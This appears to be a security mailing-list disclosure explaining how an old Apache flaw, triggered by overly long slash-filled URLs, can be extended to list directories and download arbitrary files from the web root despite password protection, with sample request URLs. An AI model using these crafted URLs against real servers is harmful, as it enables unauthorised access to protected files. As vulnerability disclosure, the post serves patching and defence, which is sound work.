Apache Artificially Long Slash Path Directory Listing Vulnerabili ty -- FILE READ ACCESS

[Brian Dinello <brian.dinello () vigilantminds com>]

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Apache Artificially Long Slash Path Directory Listing Vulnerability
BUGTRAQ ID 2503

I'm not really sure if this is a known issue, but here goes:

Old news:  As the vulnerability's description describes, any user
with a web browser can obtain directory listing of the Apache http
root directory, even if the directory contains an index.html file and
is password protected.  

New news: You can access files/directories under the http root by
subtracting the number of slashes from the appended url equal to the
number of characters in the file or directory name you are attempting
to access.  Example:

Standard Directory List:
http://15.16.17.18////////////////////////////////////////////////////
////////////////

Download an Arbitrary file:
http://15.16.17.18////////////////////////////////////////////////////
////thisfile.txt

Or In a Directory:
http://15.16.17.18////////////////////////////////////////////////subd
ir1/thisfile.txt

I've made no attempt to contact The Apache Group to discuss this as
it is the result of a known vulnerability and patches have already
been released to fix vulnerable systems.

Brian Dinello
Security Consultant
VigilantMinds, Inc.
brian.dinello () vigilantminds com

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